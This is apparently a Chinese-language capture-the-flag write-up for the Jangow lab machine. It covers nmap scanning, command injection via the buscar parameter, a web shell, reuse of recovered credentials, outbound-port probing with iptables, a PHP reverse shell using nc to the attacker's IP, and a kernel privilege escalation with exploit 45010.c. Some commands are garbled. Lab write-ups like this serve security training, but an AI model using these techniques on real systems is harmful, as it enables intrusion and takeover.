注意!
使用VMware可能获取不到IP,解决方案参考连接:
https://blog.csdn.net/qq_41918771/article/details/103636890
kali的IP地址:192.168.200.14
jangow靶机的IP地址:未知
netdiscover -r 192.168.200.0/24
nmap -A -p 1-65535 192.168.200.18
nmap -p 1-65535 -A -sV 192.168.200.18
buscar= 这算是缺少参数,尝试用命令执行,可以看到命令被成功执行
直接利用kali进行端口监听,反弹shell
bash连不上
nc 也是不行
常规的反弹shell方法都被限制了
http://192.168.200.18/site/busque.php?buscar=echo '' >> shell.php
成功连接
在/var/www/html/site/wordpress/目录发现config.php文件
账户名:desafio02
密码:abygurl69
数据库名:desafio02
账户名:jangow01
密码:abygurl69
数据库:jangow01
起初,在端口扫描时,发现21的ftp端口开放可以利用,22的ssh端口没有开放,使用这两个用户名和密码尝试连接一下ftp
desafio02账户不行
jangow01账户连接成功,有个html的目录
经过查看,发现回到了主页部分
还查看到user.txt下的文件,显示内容如下
已知开放端口,3306端口开放,但是寻找不到数据库的账号和密码
netstat -anltp
whereis nc bash python php exec lua perl
首先还是现在kali上进行反弹shell,经过刚才的出尝试一般的nc是是用不了的,各种反弹Shell基本无法成功
nc的指令也被限制了一部分
可能是防火墙做了端口的限制;
这里做个验证,在前面的信息收集中,靶机开启了22端口但是我们从外部没有扫描到;
可以通过查看ssh的配置文件看看是否修改了端口;
看到配置文的端口还是22端口,确定是防火墙做了一些限制
后发现443端口能用(一般的服务器做端口限制不会限制80和443),当然也可以用脚本探测,先在 kali 上把 1-65535 这所有端口绑定某个端口上:
sudo iptables -A PREROUTING -t nat -p tcp --dport 1:65535 -j REDIRECT --to-port 1234
然后监听 1234:nc -lvvp 1234
在靶机上简单写一个脚本探测:
for i in{1..65535};
do
time 1 nc -vz 192.168.200.14 $i && echo "&i open" >> out.txt || echo "$i closed" >> closed >> out.txt
done
探测出来 443 端口。那就写一个反弹 shell:
&1|nc 192.168.200.14 443 >/tmp/f");?>
kali开启监听(前面做了端口绑定,那直接监听 1234 即可,也可以443端口),并且访问反弹shell的php文件:
(不行就多刷新几次)
使用交互式shell、
python3 -c 'import pty;pty.spawn("/bin/bash")'
测试之前获取的两个账户
账户名:jangow01
密码:abygurl69
账户名:desafio02
密码:abygurl69
查看系统版本
(www-data:/bin/sh) $ lsb_release -a
/bin/sh: 1: cd: can't cd to /bin/sh
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 16.04.1 LTS
Release: 16.04
Codename: xenial
/bin/sh: 2: Syntax error: ";" unexpected
查看系统版本,看可利用的漏洞:
**靶机环境是ubuntu 4.4.0-31,使用 searchsploit 看看有没有什么可利用的漏洞(**内核版本4.4 Ubuntu版本为16.04.1)
searchsploit ubuntu 4.4.0-31
+
将45010.c下载到本地
查看
赋一下权限(一开始我用的 jangow01 用户做的,发现无法赋权,后来试了下 www-data 可以):
先 gcc 运行一下45010.c文件
会产生一个a.out的文件,然后运行它,就会得到root权限,查看flag